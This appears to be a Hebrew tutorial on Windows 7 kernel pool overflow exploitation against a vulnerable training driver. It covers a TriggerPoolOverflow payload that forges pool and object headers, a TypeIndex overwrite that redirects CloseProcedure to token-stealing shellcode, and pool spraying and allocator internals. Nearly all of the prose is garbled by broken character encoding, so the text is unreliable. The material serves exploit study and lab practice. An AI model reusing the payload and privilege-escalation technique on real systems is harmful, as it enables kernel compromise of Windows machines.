0x8 ˵˶˷ ˭˞˩ˬ ,_OBJECT_HEADER_QUOTA_INFO :ˢˤ˩ ˞ˣˢ ˢ˞˴˵ˢˢ ˪˷ ˢˮ˟ˬˢ˷ ˨˩ ,˷ˣˬ˧˷˟ ˞˴ˬˮ 

1. _POOL_HEADER  ˪ˡˣˠ˟0x8 .˫˧˸˟ 

2. _OBJECT_HEADER_QUOTA_INFO  ˪ˡˣˠ˟0x10 .˫˧˸˟ 

3. _OBJECT_HEADER  ˪ˡˣˠ˟0x18  ˞˴ˬˮ ˣ˩ˣ˸˟ ,˫˧˸˟TypeIndex  ˪˷ ˦˯˧ˢ˟0xC  ˸˪˧˥˸ˬ ˫˧˸˟

.ˢˮ˟ˬˢ 

4. .ˣˬ˴˰ ˦˵˧˧˟ˣ˞ˢ 

 ˡ˰ ˫˧˩˶˰ˢ ˪˪˩ ˪˰ ˶ˣˬ˷ˮTypeIndex˪ ˦˶˲ ,-Lockˢ ˸˞ ˪˟˵ˮ ,˱ˣ˯˟˪ .˯˲˞ˮ ˣ˸ˣ˞ ,-buffer  ˞˟ˣˬ) ˞˟ˢ

:(˭ˣ˸˧˲ ˡˣ˵˟ 

payload = ' \ x41'  *  0x1F8   # Junk  

payload += " \ x40 \ x00 \ x08 \ x04 \ x45 \ x76 \ x65 \ xee"   # nt ! _POOL_HEADER 

payload += 

" \ x00 \ x00 \ x00 \ x00 \ x40 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00"   # 

nt ! _OBJECT_HEADER_QUOTA_INFO 

payload += " \ x01 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00"   # 

nt ! _OBJECT_HEADER ( partial )  

payload += ' \ x00'   # nt ! _OBJECT_HEADER. TypeIndex  

˟ ˷ˬ˸˷ˮ-payload  ˞ˣˢ ˣ˩˶ˣ˞˷) ˪"ˮˢ0x21D ˩ (˫˧˸˟-input ˢ ˸˷˵˟˪-IOCTL˟ˣ ,-0x21D ˢ ˪ˡˣˠ˩-

input ˸˞ ˠ˟ˡˮˣ ,TriggerPoolOverflow ˪ ˢ˞˧˶˵ˢ ˡ˰-memcpy. 
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ˢ ˟˷ˣ˧ ˭˩˧ˢ ˞˴ˬˮ-chunk  ˪˷ ˸˟ˣ˸˩ˢ) ˠˣ˶˥ˮ ˣ˧˪˞KernelBuffer ˟ ˸˞˴ˬˮ-ebp-0x1C:( 

 

ˢ ˸˞ ˭˥˟ˮ-_OBJECT_HEADER ˟ ˞˴ˬˮ˷-0x86de5140+8+10 ˢ ˧˶˥˞)-_POOL_HEADER x-

_OBJECT_HEADER_QUOTA_INFO:( 

 

˷ ˶˩˧ˮ-TypeIndex  ˞ˣˢ0xC ˠˣ˯ˬ ˦˵˧˧˟ˣ˞˪ ˫˧˞˸ˬ˷ ˯˵ˡˮ˧˞ˢ ,Event. 

˪ ˢ˞˧˶˵ˢ˷ ˸ˮˬ ˪˰ ˡ˥˞ ˡ˰˴ ˫ˡ˵˸ˮ-memcpy  ˢˡ˷ˢ ˪˷ ˨˶˰ˢ ˢˬ ˟ˣ˷ ˵ˣˡ˟ˮˣ ,˰˴˟˸˸TypeIndex: 

 

 ˣˮˬ˧˧˯ ˞˪ ˡˣ˰˷ ˭˟ˣˬ˩ ˪˟˞ !˭ˣ˥˴˧ˮ- ˶˵ˮ ˫˞˪ ˞-CloseHandle  ˞˪ ˭ˣ˶˩˧ˤ˟ ˭ˣ˷˞˶ˢ ˡˣˬ˰ˢ˷ ˭ˣˣ˧˩ˬ ,˸˰˩

 ˵˶ˤ˧˧ ,ˢ˲ˣˬˬexception ˣ˟ ˫˵ˬ˪ ˭˩ˬ ˶˥˞˪ˣ ,ˣ˸ˣ˞ ˸ˣ˲ˬ˪ ˣˮ˧˪˰ ._OBJECT_TYPE  ˨˩ ,˱˧ˣˤˬ

 ˸˧˲˧˴˲˯) ˢ˟ ˷ˬ˸˷ˢ˪ ˣˮ˶˥˟˷ ˢ˶ˣˡ˴ˣ˶˲ˢ˷CloseProcedure ˫ˠ ˪˟˞ ,OkayToCloseProcedure 

ˢ ˪˷ ˸˟ˣ˸˩˪ ˰˧˟˴˸ (ˡˣ˟˰˸-shellcode ˣˮ˪˷ ˸ˡˣ˵˲ ˣ˟ ˫˵ˬˮ ˫˧˧˸ˮ˧˟˷ ,άƛƴǘ оέ. 

 ˪ˣ˴˧ˮ˟ ˣˮ˷ˬ˸˷ˢ ˢ˟ ˢ˦˧˷ˢ ˢ˸ˣ˞˟ ˢ˴˵ˮ ˡˣˬ˰ˢ ˸˞Null Pointer Dereference ,ˢ˲ˣˬˬ ˡˣˬ˰ˢ˷˩ .

 ˫˩˥ˣ˸ˬ ˢˮ˟ˬ ˱ˣ˧ˤ˟ ˨˶ˣ˴ ˭˧˞ ,ˣˮ˸˥ˬ˷˪ .˭ˣ˶˩˧ˤ˟ ˸˶˥˞ ˸˟ˣ˸˩ ˪˩˪ ˫˧˟˸ˣ˩ ˣˮ˧˧ˢ˷ ˧˲˩ ˣ˧˪˞ ˟ˣ˸˩˪ ˭˸˧ˮ

- ˟ ˸ˣˡ˷ˢ ˪˩˷ ˵˧˲˯ˬ-_OBJECT_TYPE ˷ ˢˡ˷˪ ˦˶˲ ˢ˴˶ˮ ˢ˸ˣ˞ ˢ˶ˣˡ˴ˣ˶˲ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˪˧˩ˬ

˪ ˢ˞˧˶˵ˢˣ ,˫˧˯˲ˣ˞ˬ ˣ˧ˢ˧ ˪˴ˮ˪-CloseHandle ˪ ˢ˴˧˲˵˪ ˫ˣ˶ˠ˸-shellcode  ˸ˣ˷˰˪ ˣˮ˧˪˰˷ ˪˩ ,˭˩˪ .ˣˮ˪˷

 ˸˟ˣ˸˩˟ ˟˧˴ˢ˪ ˞ˣˢ0x60  ˪˷ ˦˯˧ˢˢ)TypeInfo.CloseProcedure  ˢˮ˟ˬˢ ˸˪˧˥˸ˬ_OBJECT_TYPE ˸˞ (

ˢ ˪˷ ˸˟ˣ˸˩ˢ-shellcode .ˣˮ˪˷ 
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ˢ ˸˞ ˰˴˟ˮ:˷ˡ˥ˬ ˸˧ˮ˩˸ˢ ˸˞ ˳˧˶ˮˣ ˣˤˢ ˢ˪ˣ˰˲ 

 

ˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ-breakpoint ˪ ˢ˞˧˶˵ˢˬ ˢ˪˰-CloseHandleˢ ˞ˣˢ˷ˣ ,-breakpoint  ˣˮ˶ˡˠˢ ˣˮ˞˷

 ˸˟ˣ˸˩ˢ)0x12b8e80 ˟ ˸˞˴ˬˮ-userland ˫ˣ˵ˬ˟ ,˸˰˩ .(int 3 ˢ ˸˞ ˟˧˴ˮ-shellcode  ˸˟˧ˮˠ˪ ˣˮ˪˷

Access Token˱ˣ˯˟ ˰˴˟˪ ˣˮ˧˪˰˷ ˢˡ˧˥˧ˢ ˸ˣ˷˷ˣ˞˸ˢˢ ˸˪ˣ˰˲ . s-shellcode  ˪˰ .˸˧ˮ˯˥ˬˢ ˶ˣ˷˧˧ ˞˧ˢ

 ˸˧˧˴˵ˮˣ˲ ˭˥˟ˮ ,˸˧ˮ˯˥ˬˢ ˸˞ ˶˷˧˪ ˡ˴˧˩ ˸˰ˡ˪ ˸ˮˬCloseProcedure  ˢ˟ ˣˮ˪˵˸ˮ˷ ˸˶˥˞- 

nt!IopCloseFileˢ ˸˞ ˭˥˟ˮ .-epilogue :ˢ˪˷ 

 

 ˢˡˣ˵˲ˢ ˞ˣˢ ˧˦ˮˣˣ˪˶ˢ ˵˪˥ˢάǊŜǘ лȄмлέˢ ˱ˣ˯˟ ˢ˸ˣ˞ ˱˧˯ˣˮ .-shellcode  ˢˡˣ˵˲ˢ ˶˥˞˪)popad ˱˧˯ˣˮˣ ,(

˲˧˷ ˡˣ˵ ˨˧˪ˢ˸ ˥˸cmd.exe ˢ ˸˷˵˟ ˶˥˞˪ ˷ˡ˥-IoCtl ˷ˬ˸˷ˬˢ ˸˞ ˭˥˟ˮ .˸˧ˮ˩˸ˢ ˸˞ ˷ˡ˥ˬ ˳˧˶ˮˣ ,

ˢˣ ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˣˮˬˬ-cmd :˸˧ˮ˩˸ˢ ˱ˣ˯˟ ˫˧˴˶ 

 

 ˣˮˬ˧˧˯ ˣ˧˷˩˰J 
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¦ƴƛƴƛǘƛŀƭƛȊŜŘ άIŜŀǇέ ±ŀǊƛŀōƭŜ 

 ˸˞ ˪˴ˮ˪ ˢ˯ˮˮ ,˸˰˩TriggerUninitializedHeapVariableˢ ˡˣ˵˷ ,-IOCTL  ˞ˣˢ ˢ˸˴˶ˢ˪ ˫ˣ˶ˠ˧ ˶˷˞

0x222033 ˢ˪˧˥˸ ˨˞ ,- ˢ ˨ˣ˸˪ ˶˸ˣ˧ ˵ˣˬ˰ ˪ˣ˪˴˪ ˣˮ˧˪˰-Pool ˶˸ˣ˧ ˸˧˲˧˴˲˯ ˣ˞ ,-  ˫˸˧˶ˣˠ˪˞ ˨ˣ˸˪

) ˸ˣ˩˧˸˥ ˶ˣ˶˥˷/˸˞˴˵ˢchunk-˫˧ (J ˟-Pool. 

 ˪ˣ˴˧ˮ ˪˰ ˣˮ˶˟˧ˡ˷˩Pool Overflow  ˸˶ˤ˰˟DKOHM  +Pool Spraying ˢ˞˴˵ˢˢ ˭ˣˮˠˮˬ ˸˞ ˢ˶˴˵˟ ˣˮ˶˵˯ ,

ˢ ˪˷-pool ˢ˷ ˭˧˧˴˪˟ ˣˮ˵˲˸˯ˢˣ-pool ˢ˪ ˱˧ˡ˰ˬ ˸˞˴˵ˢ ˧ˮ˲ ˪˰ ˸ˣ˧˷˲ˣ˥ ˸ˣˬ˧˧˵ ˸ˣ˞˴˵ˢ˟ ˷ˬ˸˷

 ˸ˣˬ˧˷˶ˢ ˸ˣ˰˴ˬ˞˟ ˷ˬˣˬˬ ˶˟ˡˢ˷ ˣˮ˧˧˴ˣ ,˷ˡ˥ ˭ˣ˶˩˧ˤListHeads x-LookasideList ˵ˬ˰˸ˮ ,ˢˤ ˱˧˰˯˟  .

ˢ ˸˞ ˸ˣ˷ˬ˷ˬ ˣ˪˪ˢ ˸ˣˬ˧˷˶ˢ ˡ˴˧˩ ˶˧˟˯ˮˣ ˫˸˧˶ˣˠ˪˞˟-pool  ˸˞˴˵ˢ ˸˰˟chunk  ˟ˣ˷˥ ˢˤ ˟˪˷˟ .˷ˡ˥

˰˯˟ ˠ˧˴ˮ˷ ˧˦˶ˣ˞˧˸ˢ ˰ˡ˧ˬˢ ˟ˣ˶˷ ˭˧˧˴˪ ˧˪ ˶ˬ˞ˬˢ ˪˰ ˯˯˟˸ˬ ˢˤ ˱˧άYŜǊƴŜƭ tƻƻƭ 9ȄǇƭƻƛǘŀǘƛƻƴ ƻƴ 

²ƛƴŘƻǿǎ тέ  ˸˞ˬTarjei Mandt )@kernelpool ˭ˢ˟ ˸ˣ˩˶˰ˬ˪ ˪˟ˠˣˬ ˢ˧ˢ˧ ˣˮ˪˷ ˭ˣ˧ˡˢ˷ ˷˞˶ˬ ˭˧˧˴ˮ .(

.ˡ˥˞ ˡ˟˰ˬ 

 ˭ˣ˶˩˧ˤ ˸˞˴˵ˢ˪ ˸ˣ˷˵˟ ,˶ˣˬ˞˩kernel pool  ˢ˧˴˵ˮˣ˲ˢ ˸ˣ˰˴ˬ˞˟ ˸ˣ˰˴˟˸ˬExAllocatePoolWithTag ,

˩ ?˸ˡ˟ˣ˰ ˞˧ˢ ˡ˴˧˩ ˨˞ ˣˮ˪ ˸ˣ˴˵ˢ˪ ˡ˴˧˩ ˢ˦˧˪˥ˬ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˡ˴˧chunk ?ˣˮ˷˵˧˟˷ ˪ˡˣˠ˟ 

 ˶˸˞ˢˬ ˥ˣ˵˪˷ ,˞˟ˢ ˫˧˷˶˸ˢtrackwatch.com ˸˰˟ ˢ˞˴˵ˢˢ ˸˰˴˟˸ˬ ˣ˧˲ ˪˰ ˫˸˧˶ˣˠ˪˞ˢ ˸˞ ˶˞˸ˬ ,

:ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ˢ 

 

 ˭ˣ˶˩˧ˤ ˸˷˵˟ ˸˰˟ :˫˧˷˶˸ˢ ˸˞ ˶˞˸ˮpoolˬ ˪ˣˡˠ ˞ˣˢ ˷˵ˣ˟ˬˢ ˪ˡˣˠˢ ˫˞ ˢ˵˧ˡ˟ ˸˰˴˟˸ˬ ˸˧˷˞˶ ,-

0x200ˠˢ .˪ ˫˧˥˪ˣ˷˷ ˪ˡˣˠˢ ˞ˣˢ ˷˵ˣ˟ˬˢ ˪ˡˣ-ExAllocatePoolWithTag ˪˷ ˢ˪ˣ˲˩˪ ˪ˠˣ˰ˬ ,8 

ˢ ˪˷ ˸ˣ˧˶˪ˣˮ˶ˠˢ)-Pool ˡˣ˰ˣ ,(8 ˢ ˪˧˟˷˟)-_POOL_HEADER ˪˰ ˶˟ˡˮ ˞˪ ,˸ˣ˞˴˵ˢ ˪˰ ˶˟ˡˮ˷˩ ,˟ˣ˶˪  .(
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˟ ˞˪˞ ,˫˧˸˟˟ ˭ˢ˪˷ ˪ˡˣˠˢ-Block Size -  ˟˷˥˪ ˭˸˧ˮ .ˢˮˣˬ˷ ˧˵˪˥ ˷˵ˣ˟ˬˢ ˪ˡˣˠ˪ ˢˣˣ˷˷ ˢˡ˧ˬ ˸ˡ˧˥˧

ˢ ˸˞-Block Size :˞˟ˢ ˭˲ˣ˞˟ 

ὄὰέὧὯὛὭᾀὩὲόάὦὩὶὕὪὄώὸὩίπὼὊḻσ 

 ˶˷˞˩numberOfBytes ˪ ˢ˞˧˶˵˟ ˸ˣ˴˵ˢ˪ ˫˧˷˵˟ˬ˷ ˫˧˸˟ˢ ˶˲˯ˬ ˞ˣˢ-ExAllocatePoolWithTag ,˨˩ .

ˢ ,ˢˬˠˣˡ˪-Block Size ˢ ˪˷-chunk  ˢ˞˧˶˵˟ ˫˧˷˵˟ˬ˷9Ȅ!ƭƭƻŎŀǘŜtƻƻƭ²ƛǘƘ¢ŀƎόлΣ лȄфΣ ά{Ƙŀǉέύ ˞ˣˢ: 

(0x9+0xF) >> 3 = 3. 

ˢ ˫˞ˢ ˫˧˵ˡˣ˟ :ˢˮˣ˷˞˶ˢ ˢ˵˧ˡ˟ˢ ˸˞ ˷ˡ˥ˬ ˥˯ˮˮ-Block Size  ˪ˣˡˠ ˰˴˟˪ ˫˧˷˵˟ˬ ˢ˸ˣ˞ ˢ˞˴˵ˢˢ ˪˷

-ˬ64 ,˪˰ˣ˲˟ .-˟Windows 7 32  ˞˧ˢ ˢ˵˧ˡ˟ˢ ,˦˧˟ˢˮˣ˷ ˪ ˸˯˥˧˧˸ˬ ˞˧ˢˣ-Block Size  ˪˷32 )0x20 .(

ˢˣ ˢˡ˧ˬ˟-Block Size ˬ ˪ˣˡˠ ˞˪-32˟ ˫˧˷˲˥ˬ ,-LookasideList ˟ ˢ˞˴˵ˢ ˣ˸ˣ˞ ˸˪˰block size ˫˞ .

˟ ˢˢˤ ˢ˵˧ˡ˟ ˫˧˰˴˟ˬ ˸˶˥˞ ,ˢ˸ˣ˞ ˫˧˶˧ˤ˥ˬ ,ˣˤ˩ ˸˞˴ˬˮ-ListHeadsˢ ˫˞ .-block size ˬ ˪ˣˡˠ-32 ,

˟ ˸ˣ˶˧˷˧ ˫˧˵ˡˣ˟-ListHeads. 

 ˭˧˞ˣ ˢˡ˧ˬ˟chunk ˟ ˫˧˞˸ˬ-ListHeads ˷˧ ˫˞ ˫˧˵ˡˣ˟ ,chunk ˟-ListHeads  ˪˰˟block size  ˪ˣˡˠ

ˢ ˸˞ ˫˧˵˪˥ˬ ,˭˩ ˫˞ .˷˵ˣ˟ˬˢˬ-chunk  ˫ˣ˵˧ˬ ˧˲ ˪˰ ˶˥˟ˮ) ˧˦ˮˣˣ˪˶ˢ ˵˪˥ˢ ˸˞ ˫˧˶˧ˤ˥ˬˣ ˫˧˵˪˥ ˧ˮ˷˪

-schunk ˢ ˡˣˬ˰˟-Pool˩ (-chunk  ˸˞˶˵ˮ ˣˤ˩˷ ˢ˪ˣ˰˲ .ˢ˷˵˟˪ ˢ˴˵ˣˢ˷ ˢ˧˴˦ˮˬˠ˶˲- 

Fragmentation. 

 ˫˧˧˵ ˞˪ˣ ˢˡ˧ˬ˟chunk ˟ ˷ˡ˥ ˡˣˬ˰ ˫˧˴˵ˬ ,ˢˤ˩˷-Pool  ˸˞˴˵ˢ ˞ˣˢ ˡˣˬ˰ˢ ˫ˠ ˪˰ˣ˲˟)Poolˢ ˸˞ˣ ,(-

chunk ˤ˥ˬˣ ,ˣ˪˷ ˭ˣ˷˞˶ˢ˩ ˣ˸ˣ˞ ˫˧˶˧-chunk .ˢ˷˵˟˪ ˢ˴˵ˣˢ˷ 

 ˣˮ˶˩ˢ ˞˪ ˭˧˧ˡ˰˷ ˸ˣˬ˧˷˶ ˧˸˷ ˭˞˩ ˷˧ ˪˟˞ ,ˡ˥ˣ˧ˬ˟ ˨˟ˣ˯ˬ ˞˪ ˫˸˧˶ˣˠ˪˞ˢ- LookasideList x-ListHeads .

 ˪ˣˢ˧ˮ ˪˰ ˸ˣ˧˞˶˥˞ ˣ˪˪ˢ ˸ˣˬ˧˷˶ˢchunk-˫˧ ˟ ˫˧˶˶˥ˣ˷ˬ-Pool ˫˧˷ˬ˷ˬˣ ,-  ˣˮ˧˞˶˷ ˧˲˩-  ˪˵ˢ˪ ˸ˮˬ ˪˰

 ˸˞˴˵ˢ ˨˧˪ˢ˸ ˪˰chunk-˫˧ ˧ˬ ˰ˣˮˬ˪ˣ ˫˧˷ˡ˥ ˶ˣ˵˯ˮ .˸˶˥˞ ˢ˶˧˶˟ ˭˧˞ ˭˩ ˫˞ ˞˪˞ ˷ˡ˥ ˭ˣ˶˩˧ˤ ˧ˣ˲

.ˢˬ˧˷˶ ˪˩ ˪˷ ˡ˧˵˲˸ˢˣ ˢˮ˟ˬˢ ˸˞ ˢ˶˴˵˟ 
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˟ ˪˧˥˸ˮ-ListHeads ˢˮ˟ˬˢ ,ˣˮ˧˧˴˷ ˧˲˩ .nt!_POOL_DESCRIPTOR  ˸˶ˡˠˢ˪ ˷ˬ˷ˬPool.  ,ˣ˸ˣ˞ ˭˥˟ˮ ˫˞

 ˪˷ ˦˯˧ˢ˟˷ ˢ˞˶ˮ0x140  ˫˷˟ ˶˟˧˞ ˫˧˧˵ ˢˮ˟ˬˢ ˸˪˧˥˸ˬListHeads: 

 

 ˨˶ˣ˞˟ ˨˶˰ˬ˟ ˶˟ˣˡˬ0x512  ˠˣ˯ˬ ˞ˣˢ ˣ˟ ˶˟˧˞ ˪˩˷ ,˫˧˸˟_LIST_ENTRY ,˶ˣ˩ˤ˩ ._LIST_ENTRY  ˞ˣˢ

ˣˡ ˸˶˷ˣ˵ˬ ˢˬ˧˷˶ ˶ˣ˞˧˸˪ ˷ˬ˷ˬˢ ˢˮ˟ˬ-˟ ˶˟˧˞ ˪˩ .˸˧ˮˣˣ˧˩-ListHeads  ˢˬ˧˷˶˟ ˭ˣ˷˞˶ˢ ˶˟˧˞ˢ ˞ˣˢ

ˣˡ ˸˶˷ˣ˵ˬ- ˪˷ ˸˧ˮˣˣ˧˩chunk-˫˧  ˣ˸ˣ˞ ˧˪˰˟ ˫˧˶˶˥ˣ˷ˬBlock Size˪ ˫˞ˣ˸ˢ ˶ˡ˯˟ ˫˧˶ˡˣ˯ˬ ˫˧˶˟˧˞ˢ .-

Block Size ˪˷ s-chunk-˫˧  ˢˬˠˣˡ˪ ˨˩ ,˫˧ˠ˴˧˧ˬ ˫ˢ˷ ˸ˣˬ˧˷˶˟ListHeads[0] ˢ ˞ˣˢ-_LIST_ENTRY 

 ˪˷ ˢˬ˧˷˶˟ ˭ˣ˷˞˶ˢchunk-˫˧ ˢ˷ ˫˧˧˷˲ˣ˥-Block Size  ˞ˣˢ ˫ˢ˪˷1ˣ ,-ListHeads[0x1E] ˢ ˞ˣˢ-

_LIST_ENTRY  ˪˷ ˢˬ˧˷˶˟ ˭ˣ˷˞˶ˢchunk-˫˧ ˢ˷ ˫˧˧˷˲ˣ˥-Block Size  ˞ˣˢ ˫ˢ˪˷0x1F ˦˪˥ˣˢˣ ˢˡ˧ˬ˟ .

-˷chunk ˷ˬ˪ ˯ˮ˩˧ ˶˶˥ˣ-ListHeads ˢ ,(ˢ˶ˣ˵ ˢˤ ˫˧˞ˮ˸ ˣ˪˧˞ ˸˥˸ ˭˧˟ˮ ˨˷ˬˢ˟)-_LIST_ENTRY 

ˢ ˶˥˞˪ ˡ˧ˬ ,ˢ˞˴˵ˢˢ ˸˪˧˥˸˟ ˫˵ˣˬ˧ ˢˬ˧˷˶ˢ ˶˞˷˪ ˣ˸ˣ˞ ˶˷˵ˬ˷-_POOL_HEADER ˞˟ˢ ˫˧˷˶˸ˢ .

ˢ ˢˮ˟ˬ ˸˞ ˷˧˥ˬˬ-ListHeads: 

 

 ˫˧˧˵ ˞˪ˣ ˢˡ˧ˬ˟ ,ˢ˞˴˵ˢ ˸˷˵˟ ˸˰˟chunk ˟ ˧ˣˮ˲-LookasideList ˬˢ ˪ˡˣˠ ˸˞ ˫˞ˣ˸˷˪ ˫˧ˮˣ˲ ,˷˵ˣ˟-

ListHeadsˢ ˸˞ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˞˪ ,ˣˮ˧˞˶˷ ˧˲˩ .-LookasideList ˟-_POOL_DESCRIPTORˢ .-LookasideList 

ˡ˥ ˸˶˷ˣ˵ˬ ˸ˣˬ˧˷˶ˬ ˟˩˶ˣˬˢ ˨˶˰ˬ ˞ˣˢ- ˸˶ˤ˰˟ ˷ˬˣˬˬ) ˸ˣ˧ˮˣˣ˧˩_SINGLE_LIST_ENTRY ˸˞ ˭˥˟ˮ ,

˶˲ ˶ˡˠˣˬˣ ,(˟ˣ˶˵˟ ˢˮ˟ˬˢ-ˢ ˢˮ˟ˬˢ ˸˶ˤ˰˟ ˡ˟˰ˬ-Processor Control Block )nt!_KPRCB ˣ˟ ˣˮ˰ˠˮ ,

ˢ ˪˷ ˸ˣ˶ˡˠˢˢ ˸˞ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˭˩˞ˣ ,(˶ˬ˞ˬˢ ˸˪˧˥˸˟-LookasideList ˟-_KPRCB: 
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 ˫˧˩˶˰ˬˢ ˣˮ˸ˣ˞ ˫˧ˮ˧˧ˮ˰ˬ ˸˧˲˧˴˲˯PPNPagedLookasideList x-PPPagedLookasideList .άttέ  ˣ˰ˬ˷ˬ

άtŜǊ tǊƻŎŜǎǎƻǊ ˨˶˰ˬˢ ."PPPagedLooksideList ˢ ˪˷ ˨˶˰ˬˢ ˞ˣˢ-Lookside  ˶ˣ˟˰Paged Poolˣ ,-

PPNPagedLookasideList ˢ ˞ˣˢ-Lookaside  ˶ˣ˟˰Non-Paged Poolˢ ,˶ˣˬ˞˩ .-Lookaside ˣ˪˪ˢ ˫˧

˶˲ ˫˧˶ˡˠˣˬ- ˧˪˰˟ ˫˧˩˶˰ˬ˟ ˶˟ˣˡˬ .ˡ˟˰ˬ0x20  ˢˣˣˢˬ ˫ˢ˟ ˶˟˧˞ ˪˩˷ ,˫˧˶˟˧˞Lookaside  ˢ˞˴˵ˢ˪

 ˸˪˰˟block size ˢ ˣˬ˩ ˵ˣ˧ˡ˟ ,˫˧ˣ˯ˬ-ListHeads˟ ,ˢˬˠˣˡ˪ ,˨˩ .-PPPagedLookasideList[0x10]  ˞˴ˬ˸

ˢ ˸˶ˡˠˢ-Lookaside  ˶ˣ˟˰ ˡ˟˰ˬ˟chunk-˫˧  ˧˪˰˟Block Size  ˪˷0x11 ˪˷ ˫˧˩˶˰ˬ ˫ˮ˧ˢ ˫˧˩˶˰ˬˢ .

 ˠˣ˯ˬ ˫˧˶˟˧˞nt!_GENERAL_LOOKASIDE_POOL:(˸˧˵˪˥ ˢ˶ˡˠˢ ˸˞˟ˣˬ) ˢˮ˟ˬˢ ˸˞ ˭˥˟ˮ , 

 

 ˫ˢ ˣˮ˸ˣ˞ ˫˧ˮ˧˧ˮ˰ˬ˷ ˸ˣˡ˷ˢDepth, MaximumDepth x-SingleListHead ˢˡ˷ˢ .SingleListHead  ˞ˣˢ

 ˠˣ˯ˬ ˢˡ˷_SINGLE_LIST_ENTRY ˣ˪ˡˣˠ˷ ˢˮ˟ˬ˟ ˶˟ˣˡˬ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩ˣ ,4  ˡ˥˞ ˢˡ˷ ˪˰˟ ,˫˧˸˟

 ˫˷˟Next˪ ˰˧˟˴ˬ ˞ˣˢ˷ ,-_SINGLE_LIST_ENTRY ˸ˣ˶˷ˣ˵ˬ ˸ˣˬ˧˷˶ ˶ˣ˞˧˸˪ ˷ˬ˷ˬ ,˶ˣˬ˞˩ ,ˢˮ˟ˬˢ .

ˡ˥-˷ ˢ˦˪˥ˢˢ ˸˪˟˵˸ˬ ˶˷˞˩ .˸ˣ˧ˮˣˣ˧˩-chunk ˪ ˱˯ˣˣ˸ˢ˪ ˨˧˶˴ ˶˶˥ˣ˷ˬ-Lookaside ˬˢ˪ ˫˧˞˸-block 

size  ˫˷˶ˮ ,ˣ˪˷_SINGLE_LIST_ENTRY ˟-4 ˢ ˶˥˞˪) ˢ˞˴˵ˢˢ ˪˷ ˫˧ˮˣ˷˞˶ˢ ˫˧˸˟ˢ-

_POOL_HEADERˢ ˢˮ˟ˬ ˸˞ ˫˧˷˶˸ ˭˪ˢ˪ .(-LookasideList ˟ ˧˸˶˥˟ ˸˧˲˧˴˲˯)-

PPPagedLookasideList:( 

 

 ˢˡ˷ˢDepth ˢ ˪˷ ˵ˬˣ˰ˢ ˸˞ ˶˞˸ˬ-Lookaside˰ˠ˶˩ ˣ˟ ˫˧˯˪˩ˣ˞ˬˢ ˫˧˶˟˧˞ˢ ˶˲˯ˬ ˸˞ ˶ˬˣ˪˩ , 

ˢ ˸ˣˬ˩)-chunk-˫˧  ˢˡ˷ˢˣ ,(˰ˠ˶˩ ˣ˟ ˫˧˞˴ˬˮ˷ ˫˧˧˷˲ˣ˥ˢMaximumDepth  ˵ˬˣ˰ˢ ˸˞ ˶˞˸ˬ

ˢ ˪˷ ˧˪ˬ˧˯˵ˬˢ-Lookaside˪ ˢˣˣ˷ ˞ˣˢˣ ,-0x100 )256ˬ ˶˸ˣ˧ ˣ˧ˢ˧˷ ˭˩˸˧ ˞˪ ˭˩˪ ,(-0x100 ˟ ˫˧˶˟˧˞-

Lookaside  ˪˷block size ˟˷ ˭ˣˣ˧˩ˬ ,˭˩ ˣˬ˩ .˫˧ˣ˯ˬ-LookasideList  ˫ˮ˷˧0x20 ˮ˪ ˭˸˧ˮ ,˫˧˶˟˧˞ ˪ˢ

Lookaside  ˪˷chunk-˫˧ ˪ ˡ˰-block size  ˪˷0x20 ˶ˬˣ˪˩ ,chunk-˫˧  ˡ˰ ˞ˣˢ ˫˪ˡˣˠ˷0x100  ,˫˧˸˟

 ˪˰ ˢ˪ˣ˰ ˷˵ˣ˟ˬˢ ˪ˡˣˠˢ ˫˞ ˢ˞˴˵ˢˢ ˸˷˵˟ ˪ˣˢ˧ˮ ˸˪˧˥˸˟ ˢ˵˧ˡ˟ˢ ˫ˠ ˭˞˩ˬˣ0x100. 
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-sLookaside- ˫˧˪˰˲ˣˬˣ ,ˢˮˣ˩ˬˢ ˸˧˧˪˰ ˸˰˟ ˫˧˧ˣ˟˩ ˫˧2 ˸ˣ˵ˡ  ˶ˬ˧˧˦ˢ .ˢ˸˧˧˪˰ ˶˥˞˪

nt!ExpBootFinishedTimer .˨˩ ˪˰ ˧˞˶˥˞ 

ˢ ˸˶˧ˬ˷ ˸˞ ˱ˡ˰˸ˬˢ ˢˬˣˡ ˫˸˧˶ˣˠ˪˞ ˷˥˶˸ˬ ,ˢ˞˴˵ˢ ˶ˣ˶˥˷ ˸˰˟-chunk ˟-Lookaside  ˣ˪ ˫˧˞˸ˬˢ

˟ ˣ˸˶˧ˬ˷ ˧ˮ˲ ˪˰-ListHead  ˶ˣ˟˰ ˣ˪ ˫˧˞˸ˬˢchunk-˫˧  ˧˪˰˟block size ˬ ˭˦˵-0x21 ˫˧˷˶˸ ˭˪ˢ˪ .

 ˶˸˞ˢˬ ˥˵˪ˮ˷ ,˫˸˧˶ˣˠ˪˞ˢ ˸˞ ˷˧˥ˬˬˢtrackwatch.com˧˴˪ ˟ˣ˷˥ ,˭˞˩ ˫ˠ . ˶˟ˣˡˬ ˣˮ˪˷ ˢ˶˵ˬ˟˷ ˭˧

-˟0x100  ˞˪ˣ0x200: 

 

ˢ ˸ˣˠˢˮ˸ˢ ˸˞ ˫ˠ ˭˞˩ ˸ˣ˞˶˪ ˭˸˧ˮ-coalescing  ˪˴ˮ˪ ˸ˮˬ ˪˰ ˢ˟ ˣˮ˶ˤ˰ˮ˷ (˸ˣ˧˷˲ˣ˥ ˸ˣ˞˴˵ˢ ˡˣ˥˧˞)

Pool Overflowˢ ˪˷ ˪ˡˣˠˢˣ ,ˡˣ˥˧˞ ˰˴˟˸ˬˣ ˢˡ˧ˬ˟ .-chunk  ,˭ˣ˶˩˧ˤ˟ ˡˣˬ˰ ˪˷ ˪ˡˣˠ˟ ˞ˣˢ ˡˣ˥˧˞ˢ ˡ˥˞˪

